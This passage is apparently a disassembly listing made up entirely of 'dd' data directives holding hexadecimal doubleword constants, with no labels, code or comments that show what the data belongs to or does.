		dd 975BC555h, 0F450B0A1h, 0D4D3914h, 1AA93680h,	45A26EFEh
		dd 80A3D63Dh, 3BE28473h, 242E6708h, 3D72AFC8h, 20F7480h
		dd 0EA0B44B5h, 3B01DA00h, 750E3638h, 7D2B0018h,	0F966B79Fh
		dd 24817A9h, 9D80004Ch,	62AC3235h, 12D090A0h, 40BED908h
		dd 809E1820h, 321C51CAh, 9C3AF704h, 0CF832ECCh,	0D06EA621h
		dd 237DF5Ah, 7D66B53Eh,	4C483538h, 0B7580A07h, 773C54E2h
		dd 0A58BFF07h, 9C30666Fh, 756AD8h, 0E5AD6201h, 6DF4A02Ah
		dd 2CD9CD00h, 0D5CF6828h, 0C33A0014h, 611FDEBBh, 4800AD36h
		dd 0A12E8164h, 94AE37h,	3D70783Bh, 24DBE731h, 3CB095EAh
		dd 934BD00h, 0ED867774h, 0E0B02Bh, 8418CBF1h, 0A9610F06h
		dd 7CF72401h, 9F70B4D3h, 148880C2h, 24610DCh, 0AF27199Ch
		dd 0E4E08797h, 9A00CE47h, 0FFE5634Bh, 0BC7BE7h,	1630F3E9h
		dd 25053804h, 82FA0E3Fh, 0B8D6C427h, 0B531E1CEh, 5C7FE840h
		dd 0B64100BAh, 0F5ABA984h, 4A27F19Eh, 0D2DC99h,	0A2B0C5B8h
		dd 5B00C70Eh, 285DE2BCh, 13C50C9h, 9C0FEAA3h, 71FD2254h
		dd 0FC7C3010h, 1CB51B00h, 0DE164DEDh, 93F400B8h, 0C16834CBh
		dd 9D58526Ah, 61C0288h,	4379149Bh, 0C0A480B9h, 0F22B0ECEh
		dd 845D9AD9h, 0A0359630h, 7002188h, 5FF42D11h, 4CB3A7A0h
		dd 0B900DEF6h, 0A47E7546h, 123C30EAh, 66BC39h, 0C7985292h
		dd 7C111FE4h, 6C9A4817h, 18F8151Fh, 0B40C4DEh, 0EA07911Ch
		dd 0C7023300h, 0D699EE82h, 1D1F0328h, 390046C5h, 754F223h
		dd 30C255EFh, 19192B5Eh, 8E00B26Ch, 9BA7EAD0h, 48B6FC78h
		dd 4A00940Ch, 6E03AB71h, 373D553Ah, 0EB5E8005h,	0DB8FCDCFh
		dd 40FB0A0h, 0E3C8D523h, 0D190C064h, 0A1005BD3h, 51F0BCD6h
		dd 32A4347h, 567C7F98h,	8F0BBCBh, 6B6773FEh, 0D1804930h
		dd 89039Fh, 0CBD3A692h,	5BF36393h, 20B7DF13h, 4A663500h
		dd 7B04F11h, 9D7812BFh
		dd 610870C6h, 342E5182h, 9B00C9E1h, 3B6AEF1Fh, 0E03E7052h
		dd 9F420057h, 546F0BF2h, 5A1DC6F0h, 0E40036CBh,	992907D7h
		dd 0F44A0097h, 0BC07FD3h, 0F906412Dh, 0FBF1454Eh, 0C6EF0141h
		dd 0B3C49771h, 4FBF6001h, 44153300h, 0D8610D9Ah, 0B0953CC7h
		dd 77DEC581h, 801210A7h, 0E5E23382h, 0DB6176h, 0AEE09B4Dh
		dd 69B3084Ch, 932ABE0Eh, 3B0C0057h, 4C1E9h, 0FBF875D9h
		dd 6028CC29h, 0C732E500h, 8E83A9B0h, 4C9213h, 0A3EA9A49h
		dd 8FBAD57Dh, 29C0F5FAh, 0A01DB3F9h, 0BB7C3D79h, 52246A1Eh
		dd 0CE6C03FCh, 0FAF0B8EAh, 0F0227D2h, 53A9121Ch, 4B5FCBCh
		dd 0C0A58E98h, 5AE3F900h, 4513AB03h, 0F8E8D629h, 1C9AB34Bh
		dd 0C0DC56D3h, 0C1BEE934h, 2C1F62E7h, 0BCC0C971h, 41F91FA9h
		dd 0F23CE2F6h, 7AAB00FBh, 8F3046E2h, 0E3B5BC8h,	0D2A1785h
		dd 57D4F40Eh, 0A524C004h, 755A8D01h, 42B0E056h,	8348E27Ah
		dd 0D700771Ah, 7039CFE9h, 499516h, 94BAAE73h, 7D859A74h
		dd 0F5548300h, 0C46F7C41h, 876B001Ch, 0B764AA13h, 2D136CC3h
		dd 0DC8098EEh, 7172C474h, 307D5982h, 4C516A03h,	111F04EAh
		dd 748009D8h, 0FE91502Dh, 0ED121624h, 347C00BCh, 0FD60EA69h
		dd 75519967h, 4F607137h, 75A4B13h, 0FEF12A03h, 0A89E28FFh
		dd 8D985880h, 1F2242D7h, 1456C4Eh, 0CAA798Ah, 2CC7C513h
		dd 0DB0E8008h, 6E3A2Ah,	0E7118302h, 9379FB4Ch, 0A816E84Ah
		dd 0EB121906h, 0D55C3A61h, 567B2C8Bh, 0CB79B980h, 6E00A9B8h
		dd 47953946h, 120350E4h, 80F72FF9h, 5DC9C564h, 0D5621C03h
		dd 1D5ACCE7h, 1DD058h, 677AD1EAh, 0C006F70h, 0DE527316h
		dd 0B85B91h, 46EED8F6h,	44BF9E1Fh, 880F0C9Ch, 53EB80F7h
		dd 1A3547h, 9196459Fh, 29DF51CFh, 196C0E07h, 0C9077DBFh
		dd 5CFC80F9h, 16D02E8Fh, 9D9DA1Ch, 3060DD93h, 9A70771Dh
		dd 0F76B2800h, 88CA87Ah, 0F1E86001h, 0D497AACDh, 0D089C100h
		dd 1D6593BDh, 5BE32DADh, 0E7683410h, 9D4B5100h,	0AFE68FB9h
		dd 3BC313C6h, 0F93C00E8h, 0C9352331h, 0AA24CE06h, 18D5D8h
		dd 147F9491h, 57830D47h, 0FA3D2501h, 0EB4ACCF9h, 4D1FFC5Ah
		dd 97803965h, 0BAEF3ED9h, 0D50464DEh, 0E70FA21h, 0A8697080h
		dd 10A91C86h, 494BC030h, 0FA66E53Eh, 4305F890h,	2DCB7611h
		dd 656E1887h, 8840F7DFh, 0C19074A1h, 63F2D8h, 41841E12h
		dd 0CCE0109Fh, 0DCFB9300h, 6582A091h, 87113ABFh, 1FC10600h
		dd 51954E69h, 195AE81Eh, 1F76ADh, 263F04ECh, 8F001220h
		dd 38CE9960h, 0B92E0Eh,	0B89B8E9Eh, 9DA5A12Dh, 0FF265A00h
		dd 0AC4C0378h, 0A9B9002Ch, 9A7F7D1Eh, 3F5C3EC1h, 0E1920000h
		dd 0BA4EE953h, 0DC730081h, 92A17AEh, 2006362h, 6B2D4456h
		dd 0B0559B26h, 54870098h, 10B47DA1h, 9500780Dh,	829E97E2h
		dd 0E516ABh, 0FA2D31CAh, 0AE12B6DFh, 4B495000h,	3FFD4D70h
		dd 6CCE0086h, 0F07E96CFh, 0E01B71Ah, 0DFA450E3h, 0A6D0D1D9h
		dd 970040Dh, 0BEC46AFDh, 7FA70AC0h, 21CE04Ah, 47D3FFB5h
		dd 0B1405154h, 0F3AA55Eh, 0C9D582FAh, 53611360h, 0D89D81FCh
		dd 24C0206Fh, 22009400h, 3D7F1EE5h, 90C9A0EFh, 287612E0h
		dd 0D3600040h, 338519C8h, 802C3E03h, 0C0350550h, 0EA0D1D0Bh
		dd 0F0C854A3h, 78744888h, 61B22586h, 0C3E9CD10h, 0C0389B74h
		dd 63782CE7h, 94C27924h, 3EE89C01h, 5834F425h, 4CE60071h
		dd 0A6EB0A4Bh, 0D0C0F11Bh, 6B3CFEE0h, 37CA0FD6h, 0BE20631Ch
		dd 2F16EEAh, 2F909F05h,	0BB14B79Eh, 995E00CEh, 56886BC7h
		dd 8B6300F1h, 648A3F45h, 0DA3A6AC0h, 0A2AF00A1h, 0B8766F9h
		dd 30E50968h, 8480A3F1h, 0F22AD2ABh, 80505F3Bh,	4AF84DC9h
		dd 0E807A0h, 0D46388A1h, 6F1DF13Eh, 600B9D0Fh, 949E7h
		dd 5B8A05Eh, 3E220039h,	2B2CBE3Bh, 0B300A289h, 83FDF00Ah
		dd 1EC3DA6Ch, 0C086AE84h, 2B59C5B7h, 1207AB73h,	0F38C26Fh
		dd 0F3ACCD20h, 0B97007Ch, 0DF02E810h, 7601DC01h, 6995C0A8h
		dd 0FCC481AFh, 0FB8033Dh, 0C4118CD3h, 0B1265800h, 8387BF90h
		dd 7840000Dh, 5C5D8ADFh, 2000B518h, 1C63B22Ch, 0D80A66h
		dd 8FDD52A6h, 7FA139D4h, 0CBEE5D28h, 5FBF4600h,	38044BCDh
		dd 33703AEAh, 1F09AD80h, 0E1F08A75h, 0F2257A1Dh, 0CA9D8039h
		dd 0EEB1284Ch, 0FAA0A397h, 8FB6C0A4h, 0B8A0045h, 0B1F1E5F0h
		dd 0E763DD4Ch, 8841BE90h, 307F3D1h, 0FD2D6E8Fh,	6600DB6Dh
		dd 0F83D05Ah, 3AF0CCABh, 0FA3CD903h, 0F360F372h, 586F00B0h
		dd 0E49A1B79h, 0CC0328A3h, 0C54D412Fh, 982BF372h, 8C0F31h
		dd 0B1E6C369h, 3EB4C2E8h, 75CA1E09h, 0F849805Ah, 98EC8Ch
		dd 0BE031733h, 16A551Ah, 0D591771Eh, 85D44580h,	58BD1C4Fh
		dd 8403D76Bh, 0E0ED03B0h, 1520C698h, 768A4000h,	0B3539668h
		dd 6FD21FDBh, 0E686C00Ah, 4A8E48Fh, 0E000A4EAh,	374A1F7Ch
		dd 77017635h, 39DE0371h, 68819F65h, 0FC4B73A1h,	0DC00329Bh
		dd 26C5F5B1h, 0CC0A3Fh,	0A7FD8220h, 83D185ECh, 0CBE90E07h
		dd 0B0801A54h, 0E40181h, 9B5BBECEh, 0B7C30967h,	0CCED0B00h
		dd 0DC06563Eh, 4F82009Ah, 13A00FBDh, 0AE00A344h, 9BE1C469h
		dd 41CCF3Dh, 0A504687h,	2A2CC035h, 0F800ED29h, 15C4EEE7h
		dd 0CEB1856h, 651EAAB0h, 0C6000820h, 9C3A2B22h,	1E6A547Ch
		dd 9C9AA979h, 0E6D90645h, 3CEA2864h, 0DC313Fh, 2D65AD9Eh
		dd 1D20E02Bh, 406DA239h, 0BD17F7B5h, 7016043h, 0EF0A101Eh
		dd 8020578Ah, 40480005h, 0A4655267h, 2100DE43h,	2B8A7893h
		dd 9D1F590h, 77595691h,	0BA536585h, 0AD204A87h,	73B5331Bh
		dd 6EFC8Fh, 0BD22AF18h,	1527E257h, 167D9200h, 0D5899EE3h
		dd 0D46B0775h, 65D7B9h,	0CCB0AAF0h, 8F9C4C01h, 9B8162ABh
		dd 0ACC09840h, 1C4D01CFh, 53B90B6Ch, 0A9F7EC39h, 0A89DBC03h
		dd 98F686E2h, 800D99h, 0DA93BB4Fh, 1005F01Dh, 4D472C00h
		dd 7482E668h, 6E9400D1h, 7CC56FF4h, 0CF0035D0h,	426B97B1h
		dd 7C74D6AAh, 7B3B3EEAh, 93EB8000h, 6D61B701h, 0FEC74603h
		dd 0DACE2662h, 81C48209h, 1FA4C0D5h, 523A0711h,	0C08697B8h
		dd 0A47B2690h, 0CF95F404h, 0AC80174Ah, 1E1DA3C5h, 0A0D836h
		dd 0B4DCE126h, 503EB92h, 73D2CF18h, 0FA5BB0D7h,	90C0A85h
		dd 1C8A370h, 8ECA8B8Dh,	0D840316Dh, 6C023265h, 63E9A42Bh
		dd 76D481BAh, 3182FE43h, 3B3C35CBh, 4C63E540h, 77001EF6h
		dd 95C639C0h, 5B347Ch, 85EB0273h, 363190C8h, 84004C90h
		dd 1C38CF04h, 0F7C9257h, 0B2569452h, 0FF1ECBA0h, 28002506h
		dd 3DBA4855h, 0E6DD8FEBh, 33F022h, 6B1F7A21h, 0C6C5B319h
		dd 553A5202h, 407ED3B9h, 269627B4h, 7C9BACh, 0A7D613CAh
		dd 6C005E7Dh, 8B8BD9Eh,	1E2E357Bh, 3978E7h, 2CF16822h
		dd 20E6C724h, 35969A07h, 32C0C10Ah, 594AD4h, 0CBB01267h
		dd 4602D18Bh, 50A0DA00h, 9D41E4DBh, 5928003Fh, 1E6513A9h
		dd 87002E64h, 59C4B60h,	48867Ch, 98B03F10h, 69E28CEEh
		dd 0C5007BE4h, 0E1CC4E7h, 0A9ABB112h, 59E4C98Ch, 6DF30156h
		dd 0CE23588Dh, 0D8046550h, 0EB0082E1h, 0A49C96F2h, 0E0D075D7h
		dd 0FF7938A8h, 351E6F80h, 640D3E2Ch, 341C9D00h,	1AE17660h
		dd 20FC59F0h, 57E97C0Fh, 30506880h, 47788AB1h, 6C959106h
		dd 0E88BAA5h, 6EDDB2D3h, 0FFE9CF80h, 18C0AD57h,	3FFCD605h
		dd 4D30C75Fh, 6CBF404Fh, 1C034504h, 0F2C2E54h, 2303A0D0h
		dd 5CC50044h, 35A74F6Ah
		dd 0FC2C7A39h, 7BC90CBh, 0B1059FDDh, 2A3FBF40h,	79C06065h
		dd 44B51646h, 5F30A801h, 0EF1ADE76h, 0FEEE6041h, 82D14840h
		dd 0C07772DDh, 0CCD37138h, 10A002E9h, 1CA0EB1Bh, 307BB070h
		dd 7F8E1600h, 0CC736BC3h, 6C89486Ah, 7432AA01h,	0E0863192h
		dd 0B000AF60h, 219E376Ch, 30019806h, 7A18B5BDh,	823C5441h
		dd 0DE9980CDh, 30EEFC47h, 20B96EA2h, 0AC506C63h, 0DB998001h
		dd 0A3224132h, 55153080h, 2A50DCA8h, 1611680Ch,	1BEF189Ch
		dd 409ACC30h, 31D2F4E0h, 6E835D1Eh, 52197C02h, 0B784008Ah
		dd 0D0C0CB7Dh, 0ECFE4B69h, 52B00CF8h, 0B4E9FDD4h, 6C6909C7h
		dd 0EF9C848Ah, 9851501Bh, 30219973h, 11D1BDD2h,	0C71C6BB3h
		dd 0B0BB85BEh, 48641C5h, 24957D87h, 8750B5D0h, 0E0A62B2Eh
		dd 98D71A30h, 0BE7C32FCh, 2C723916h, 74F33D06h,	81608060h
		dd 0ABB00D7h, 0AB527D32h, 0E007618h, 7FB021EFh,	0D3149Dh
		dd 6830173Ch, 58E4D61Eh, 0CF315D0Fh, 0AE001DACh, 2B420F40h
		dd 0D56E2860h, 63C60074h, 6F0E4541h, 1C002CF2h,	8B6553E3h
		dd 0CC3C1C7h, 5769FEE9h, 502F2B8h, 67FC8FD2h, 74040D4h
		dd 59C90290h, 0E9C7865Ah, 3300C044h, 4F614B08h,	7422F7EEh
		dd 0C5EA0F24h, 0D940F983h, 869D6C3Bh, 6F1F2D00h, 1CE035FCh
		dd 0C1720041h, 0DD31B8Bh, 9B28A7CBh, 0FE70A276h, 0F4894500h
		dd 2C64CFE8h, 2E1BF433h, 186DFBEh, 0D7C769D4h, 0D5818C8Eh
		dd 57E1F3h, 0FE0D415Bh,	0CAD45A14h, 8CCC354h, 1C2C0C3Dh
		dd 238F8218h, 416A8022h, 44D4793Bh, 5DB08E55h, 0BA1D3600h
		dd 0CBB51E50h, 0E39A0E81h, 72000E5Ch, 99FF6D5Eh, 0E9CE13Eh
		dd 1B2D70h, 1DD9B960h, 1BEEF89Eh, 18E0B480h, 261069D0h
		dd 47FA3001h, 17FB88E5h, 1337AE0h, 1E1375EAh, 981B0A0Bh
		dd 5A21ED09h, 0EBEA004Ah, 86A89457h, 62000974h,	0A9A09C31h
		dd 18FF7C5Eh, 309A2629h, 0FA0CDD83h, 18EC0CF8h,	302EF864h
		dd 46210BCFh, 3150AF37h, 2B19FEE1h, 49084F8Dh, 5F412184h
		dd 0A38DC0AFh, 0FD1E08CFh, 0AC410F48h, 21B97166h, 0B016D887h
		dd 3314C838h, 8CECAC68h, 0D8C2DE03h, 0FD02C9FCh, 30582418h
		dd 0BA60800Dh, 11233Ch,	0FB968BE2h, 7081FD8h, 0EAC53F32h
		dd 52F02088h, 180ECEC1h, 0C0FAD994h, 0A217AD04h, 1AA41C0Eh
		dd 48C40EE7h, 2BC031CEh, 3FBE7832h, 9D3E8EEEh, 56C887h
		dd 0F76C9E3Bh, 23D35h, 0A8223E98h, 0D3A0A385h, 0AFF61E00h
		dd 50D21C10h, 769A0047h, 0B4AD39B8h, 451CAA7Eh,	0F240F95Ah
		dd 4D021CD5h, 0C5A80087h, 145D3C69h, 0D307EF0Bh, 8A516F15h
		dd 0F5A750CCh, 0A6CC5980h, 0FC027A90h, 9FE88900h, 0D62638C9h
		dd 6C640F3Fh, 5120A4E2h, 82C1251Ah, 0DF957D06h,	41C201h
		dd 0DC72E3E6h, 0AD76F108h, 12D95100h, 0DAE04BC8h, 19096F9Eh
		dd 2048B201h, 0AFF7E02Ah, 2D0C500h, 0B18516E3h,	0EB2B0E1Dh
		dd 45619DECh, 80EA1952h, 0F8C0F4D0h, 0AB5879h, 4AE9047Dh
		dd 7F9AEE0h, 0A2BB58C7h, 4CEB37A1h, 0C699E6F0h,	19AC4371h
		dd 1EDB900h, 0E0EFBFA7h, 1E3B3A9Bh, 9C589E80h, 4452AEFCh
		dd 0CEB55A18h, 778A2170h, 9A2A00EBh, 0DA4DADD1h, 63335A3Ch
		dd 0A0BDA85Bh, 0EA8F237Fh, 5D473D56h, 0A1E9BC80h, 8D539C9Bh
		dd 2DC66F1Eh, 11EC1E40h, 0C97168Eh, 0B19B0BF8h,	4B056628h
		dd 0C787AE0Fh, 9EA777C1h, 301D18A4h, 0E6032B49h, 18F35A0Eh
		dd 2D65C3A9h, 774AE0A2h, 0D3CD0F05h, 536CEF0Fh,	0C71E7ED4h
		dd 1700F49Ah, 0E993647Bh, 4BD901D8h, 0D5ACBA18h, 318BCD7h
		dd 65CB2EAFh, 2010070Eh, 17D11A04h, 0B1609C30h,	0FE3E9A70h
		dd 64A480D0h, 665B6EDFh, 0AD750110h, 0D5274897h, 258086E4h
		dd 0CB1AF73h, 0A35B77BEh, 470099E0h, 85EBC6DAh,	18F08FDBh
		dd 10C7C39Fh, 0EF7CF3BAh, 0F2BEBF00h, 18FA38F8h, 167500EDh
		dd 0C621975Dh, 64008B9Fh, 8C19D204h, 0A83958h, 473DDF11h
		dd 0B9090ED1h, 80279E3Ah, 0B064F697h, 8F722Eh, 3ECDEB2Fh
		dd 7FC92524h, 401F1A1Ch, 0E1751340h, 364CB1h, 0F9B44197h
		dd 0F216E9DDh, 62FD7F26h, 6FF84300h, 78667C1h, 0EF17756Ch
		dd 0B898C0E9h, 0C0007E21h, 0C69FA599h, 14948CA9h, 0D28EF2E8h
		dd 0A3383600h, 0EA9E05FEh, 9A59AB0Eh, 0A616080h, 1FF7A44Ch
		dd 7C7B3Fh, 3C057EA0h, 20006DD8h, 0EC1557CAh, 1071AE5h
		dd 27443335h, 0CDA52DDAh, 0F4F20B6h, 55008B7Dh,	66A64F96h
		dd 90EF8FD7h, 253E00BBh, 7A332F10h, 69E6302Ch, 0F342D000h
		dd 862A4DB7h, 76E53FA7h, 0C095E91Dh, 57CBF00Ah,	810BE7C7h
		dd 4F42DFh, 7AA10CC3h, 0C1610684h, 0F06B639Fh, 112A8005h
		dd 0DC40A833h, 8392E3D8h, 69E400E9h, 0E913F94h,	1298765Dh
		dd 0C063AE1Dh, 0ECDFD4h, 2A06FC6h, 0FB24EEAh, 0C25E9D53h
		dd 0AD383F20h, 6A00F625h, 2962390Dh, 0A2DE66h, 0EDFF91DDh
		dd 3B6450E0h, 0E4192500h, 7EEA7695h, 0BAC600E1h, 0DF77F7CAh
		dd 92008757h, 31DD119Eh, 18D6183h, 0F01A4A2Eh, 0F3B0120Eh
		dd 2552F7A9h, 0B358E440h, 118E6E00h, 9AFA0F69h,	1C90725Ah
		dd 6425B9h, 0B23CCC0Bh,	5E00D1BDh, 6CE0D471h, 34906Fh
		dd 0A619B13Fh, 0BE4AA38h, 20424F02h, 60D21165h,	5629ABEh
		dd 5298F41h, 8AC079Fh, 1C9670D9h, 145A68BAh, 0F80000E8h
		dd 3D7FE6ECh, 0AC0064B0h, 6277F039h, 3E969038h,	0EF003C45h
		dd 0FFC05442h, 0A4A08720h, 1600A06Dh, 0B0916EDEh, 5DBEBAh
		dd 9711403Bh, 65CC2119h, 8B06C600h, 0CD2C4B44h,	0E9C90352h
		dd 6F88F122h, 0D8B68D98h, 0CC88952h, 0A8CD78A9h, 3C80C0EFh
		dd 0A29EEC29h, 6A008DE0h, 0CE268343h, 0DEB9C8h,	25C6A911h
		dd 0DA2D7E1Eh, 0C28CF012h, 58BDE446h, 168F00C8h, 0EEFD96Ah
		dd 98A03DB5h, 0E8001496h, 2B90E250h, 1574E6EDh,	0A8219D80h
		dd 0F7C60600h, 0ACB5127Ch, 0FAE29C00h, 11CF1ABFh, 6E440201h
		dd 93E1223Ch, 0EF7B3440h, 6CE85200h, 0C8C7AA21h, 0AD0D0092h
		dd 18355589h, 70008D06h, 5CAE3EE5h, 19FA67h, 5F88DED0h
		dd 0A659207Dh, 260C3704h, 0A8802B24h, 1DF2DB0h,	0C24E7C0Ah
		dd 70078D96h, 0AB0324B9h, 27BBF444h, 2CD8E020h,	0C80B03CBh
		dd 19DE5C49h, 0C33334E8h, 40EF8700h, 24F9C66Bh,	0F860E4F7h
		dd 410700D6h, 2D1EBF14h, 9A017A3Bh, 64668B40h, 0D0F8061Bh
		dd 6AAA0072h, 0BE090AEAh, 8300910Dh, 6B2A07E2h,	1E4ACA8Dh
		dd 0FFAE8B99h, 94007D3Eh, 2EBEE59Bh, 89026FA8h,	0DF223111h
		dd 0D390E01Ah, 0CBCD1F0Eh, 0A7C9C0CCh, 69B2F033h, 0DC9A6D09h
		dd 38C001D5h, 0E9606E14h, 0ECA7396h, 6806391Fh,	7D405020h
		dd 2FE6C5F8h, 57B3530Ch, 858829h, 0AE18984Ah, 0D73556D3h
		dd 0A8287817h, 3CBC00BFh, 0B04574E2h, 6047AA3Ah, 0CFEBD121h
		dd 0ABF70101h, 1A8EE1A1h, 26FB70CDh, 0D063CA3Ch, 7A600FADh
		dd 0CCD8F830h, 3B3F6D3h, 668D2783h, 6AA81E12h, 5E0039BEh
		dd 19A1E385h, 0A534FAh,	0DB3BE8C8h, 8AAE8C50h, 0F503FD00h
		dd 69D6B582h, 3ED90063h, 2DFEA587h, 2A000B1Ch, 2C0F2749h
		dd 3A34D1FCh, 0F6800113h, 0F46B8BEDh, 71050E92h, 1E0865C0h
		dd 3D33E680h, 13B7010Fh, 0D9744FC2h, 7C3C803Ch,	0F026961Ah
		dd 0C88C00A4h, 847FD386h, 9A003802h, 7DD80FA8h,	0EA3380C3h
		dd 0EE2F0072h, 81D0B279h, 15F0AE93h, 0D6454B00h, 0CD24677h
		dd 0BF7D0098h, 3B4A926h, 5304E574h, 93FCB733h, 9D20088h
		dd 0EE1BC6Ah, 64EB805Dh
		dd 0A45E0335h, 8E0F00ECh, 6AF3AC33h, 0F5030501h, 3AEF73A4h
		dd 2CE7D8F8h, 0D680157h, 390689B1h, 3D002A1Fh, 97771B87h
		dd 3ED7763Eh, 5680E0A9h, 0B201CE5Ch, 190765A3h,	648A0447h
		dd 6B38F490h, 13D702Eh,	0D53AD697h, 401D96AEh, 0A62A26D4h
		dd 33BFC00h, 67EB4E01h,	9DF200BCh, 0CE885A8Eh, 39038B9Ch
		dd 6F26A086h, 32D79927h, 1009C8h, 0C01915D5h, 62A3B904h
		dd 0AFC42F01h, 0A4BBD2Ch, 1E8D6080h, 0EB16E58Eh, 597B3D00h
		dd 8C90569h, 38A81BD4h,	0EC818994h, 0A30BC3Dh, 0ED7126C0h
		dd 55032E1Dh, 0E18E01BDh, 0A8F34EC2h, 6AD10Fh, 0D9169461h
		dd 9FD4B0EBh, 0F202058h, 45A2374Eh, 0CB0E27BFh,	15C03CC1h
		dd 0F23DCA17h, 2B460083h, 0DF1A086Bh, 0BF061F94h, 0C2A012AEh
		dd 0C0C56228h, 881054EAh, 0FAF6248Ch, 0FEED07D9h, 61C74532h
		dd 90F41660h, 720161E0h, 6B253A3Bh, 0C22DF82Ch,	50B85FFCh
		dd 4D26E0A0h, 0A0A2CF00h, 9F9870B6h, 0E80F03F4h, 7BE012B3h
		dd 0F6EF0788h, 412AF200h, 0FD0DF71Ch, 0F4BC00CBh, 0B142336Bh
		dd 4D1F7EE8h, 0E00708F8h, 0A1C0821Bh, 5151CCC2h, 9880BA20h
		dd 0B0B937B1h, 3400D7A4h, 5EA646F1h, 155A705h, 81F804B3h
		dd 40F57733h, 0F06AA1BCh, 6B601190h, 56E54710h,	0DEC0036Fh
		dd 0B6AA0971h, 0D452082Ah, 56BCEA00h, 9050F2A3h, 3ADD0165h
		dd 5DF5707h, 8D8C5088h,	0C618295Fh, 7D110935h, 9FAC0514h
		dd 0C11695C0h, 0D115FD04h, 8DCC402Fh, 0AC000E4Ah, 0A64BF1F4h
		dd 3C60319h, 3D27D793h,	50238817h, 0AC1000BAh, 15F5C0ABh
		dd 0F85E8085h, 0CE8707BEh, 1984AF00h, 1CFEBD95h, 23940008h
		dd 76CD5D1Dh, 0F4064139h, 6C92A48Dh, 0A2707E0h,	9006C9B3h
		dd 0ED3D6A09h, 1708D165h, 0AABBB040h, 1B79CAh, 0FE0D7FD5h
		dd 0FC21E6A5h, 0DFE141C0h, 34A0A06h, 1EAFB693h,	9AA8AB2Ah
		dd 0E77E264Dh, 0EE20C01h, 2BC7F95h, 5D1C8083h, 9000B0F5h
		dd 2DE14D87h, 9691A5h, 0F8EDC233h, 19CFD576h, 3CAB7C00h
		dd 48302C50h, 1856007Ah, 0E71FD60h, 0D4005CA0h,	22249047h
		dd 26D12B3Bh, 79BAB7h, 2C1149CEh, 9200BDAAh, 54E60C52h
		dd 3DE285h, 2820B514h, 4F03BE3Ch, 4E8BAB03h, 0E2E92B3Ah
		dd 0A104BE3Bh, 10804876h, 0DBE444A8h, 0F800C516h, 0E3634AC4h
		dd 9074BDC3h, 4C87018Ah, 7AA8E771h, 242990E1h, 44C03184h
		dd 0DC445F73h, 424048D7h, 1F26D067h, 95730051h,	5DE8A532h
		dd 0A4003778h, 6D02F3FAh, 8728E5h, 46D29921h, 14FC3E6Eh
		dd 20EF89B8h, 6C03DDD0h, 0F434FBC4h, 2E7A001Bh,	0FEF3C57Ch
		dd 0EF0658ADh, 743323D0h, 3E4300F1h, 1B174755h,	0A7007511h
		dd 22546245h, 2A969h, 51C1ADE7h, 772B1B0Dh, 0C4009F76h
		dd 0F8B805F5h, 74B98512h, 9C9500FBh, 8AD3758h, 0AE2515B3h
		dd 3F30D461h, 0D3EE2A00h, 383B3EE4h, 67B56300h,	2F9D597Ch
		dd 0ED690036h, 4517AA14h, 47008A2Ah, 3243DA74h,	637E5Fh
		dd 0FC1C04F6h, 4849D031h, 42B51301h, 0C9C2BA5h,	3336F0h
		dd 967DC8BEh, 0D397258h, 1347DB00h, 270C1A29h, 37FC1883h
		dd 0C96420B0h, 0F1C0A418h, 1E2F231h, 0ED327585h, 80E79C19h
		dd 0B1C89219h, 1CE3F96Ch, 80991697h, 327165CEh,	49021ECAh
		dd 0C11F2613h, 0B41140D9h, 0E3669073h, 8D72AC40h, 0B58417DEh
		dd 80101B95h, 0C26998F0h, 80D9683Fh, 1AD7F456h,	0B645A0h
		dd 4B4F5767h, 39A7C406h, 0D0916E00h, 0ADEE4063h, 0E7441E10h
		dd 21CE4089h, 3B1AF2D6h, 0F6C7B900h, 78A3D1D9h,	5D10015Ch
		dd 67AFBC1Ch, 93DBD868h, 6000E871h, 7C815561h, 2ECFDFA0h
		dd 0D3FF9Ah, 7235CC1Eh,	6A003EA4h, 94872EC4h, 36EAA90h
		dd 7848A525h, 85E08B27h, 0A000D937h, 92A3ADC8h,	45062E2h
		dd 870178CDh, 0CF24802Ch, 1B0008D8h, 48DB0B6Bh,	85D2B7h
		dd 2228E612h, 29F13589h, 2B794004h, 0B1C77A8Eh,	762EBFA0h
		dd 460B00DDh, 95217F99h, 0F5041D10h, 2D0390AFh,	0AAE95580h
		dd 5F7A4Ch, 0D96235Bh, 0A243C336h, 1B353Dh, 880EA486h
		dd 374D5B0h, 0AB581A78h, 0D1E89B03h, 1B1F7318h,	0C3836FA1h
		dd 0C8DD3F51h, 0FCB1455h, 0AF9ED452h, 5F3AA460h, 8C003460h
		dd 0F2506E92h, 1DBF890h, 4B9C9379h, 0F8573BB3h,	0E6000F7Ah
		dd 744C42C5h, 0AB407Eh,	28525DFBh, 664DCBA5h, 116B7D01h
		dd 173BE24Ch, 0D08E20h,	0DCF78690h, 2AF9EA7Ch, 0BFEDC600h
		dd 0DD9BFACDh, 2CD905DEh, 11F5FCFh, 0A1B377A8h,	0AA76CC05h
		dd 27DFD100h, 0F0317A7Dh, 3BEF00FAh, 41A6C07Ch,	14E40613h
		dd 0D5AC5E16h, 23562B00h, 7E170Eh, 95491C59h, 5C8B85Ch
		dd 820CA8A0h, 15BD200h,	734F8420h, 0F8B0C99Eh, 0EFAF420h
		dd 5800C5A6h, 0ED2453C4h, 0AA2A07h, 0EC5A6308h,	1C1D4BABh
		dd 12C65400h, 0BED0CCC4h, 2C1E0EDDh, 8500CAF1h,	0F3E7A33Dh
		dd 9B25721Ch, 0C151F500h, 3BF2AEAFh, 4184205Ah,	814AD3E6h
		dd 0F4E0C474h, 0A058605Eh, 0B76E007Fh, 0F889155Ah, 1B0E4h
		dd 414C255Fh, 0D80F4082h, 27243809h, 0F20D008Ch, 3BDB1E91h
		dd 7E0E8068h, 2520C4EBh, 3A06D426h, 9323F401h, 95362E08h
		dd 153F030h, 1F4B761Ah,	0C83A2A5Fh, 930084B3h, 0C4C2EAFBh
		dd 0D87779h, 4EFDACECh,	94A7C1AFh, 70002090h, 891B493Fh
		dd 9AA684h, 0F526ED0Eh,	0D145168Eh, 697C627Eh, 4611E400h
		dd 4A643284h, 0C50070Fh, 0E36851F3h, 0A8B00791h, 0B7062E02h
		dd 21E51C5Fh, 2D7C98h, 0D8428028h, 220EE0DFh, 0FC02A600h
		dd 0BC7A6BE3h, 0A19D0719h, 80C03960h, 0EBEFED23h, 2BDC2F1Dh
		dd 6EDBF200h, 11DC396h,	5F2A6068h, 7083FD07h, 6D006C69h
		dd 90512E44h, 924031h, 0BF6E6526h, 3EA08CF1h, 3AE46B00h
		dd 0A559EC0Dh, 0FC814BCEh, 8FD30197h, 0E21007E8h, 7C4BA60h
